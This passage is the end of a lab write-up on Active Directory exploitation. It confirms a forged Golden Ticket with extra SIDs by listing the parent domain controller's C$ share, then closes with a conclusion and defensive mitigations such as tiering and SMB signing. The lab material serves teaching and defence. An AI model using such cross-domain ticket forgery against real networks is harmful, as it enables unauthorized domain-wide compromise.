This at least confirms that the Golden Ticket was forged for access to the child DC. However, since we specified extra SIDs, we should also now have access to the parent DC:

dir \\thmrootdc.tryhackme.loc\c$\        

This proves that we now have fully compromised the parent domain solely by compromising one of the child domains!

10. Conclusion

Exploiting AD takes time to master, and the techniques used will highly depend on the configuration of the AD structure that is being attacked. The biggest thing to understand is that the process is cyclic. We will, in most cases, not be able to run a single boot-to-root exploit that gives us DA access. The best approach is to perform exploitation that furthers your access, then use the access that was achieved to perform enumeration again, looking for additional exploit paths that may be possible from this new position.

Mitigations

AD exploitation, like AD enumeration, is incredibly hard to defend against. This is because what may be considered a misconfiguration that can be exploited, has an actual business case. However, we can do a couple of things to protect against exploitation:

• We need to ensure that no configuration breaks our tiering model. Accounts in a lower tier should not have the ability to interact with resources in a higher tier. Furthermore, accounts from a higher tier should never log onto resources in a lower tier.
• The principle of least privilege should be followed when permission delegation is performed. Furthermore, permission delegation should adhere to the tiering model, ensuring that a lower-tiered object can't alter a higher tiered object.
• SMB signing should be enforced, not just enabled. This will prevent credential relay attempts.
• AD objects and their configuration are not the only paths for exploitation. AD services, such as AD CS should also be considered part of the attack surface and secured.
• We need to implement sufficient security controls to protect Tier 0 infrastructure and accounts in our child domains since a compromise of one can lead to the compromise of the entire forest.

......xx....xx....xx....xx...

That's all guys. If you like this article then please share this to your network, follow me as well for future write-ups and don’t forgot to leave a comment.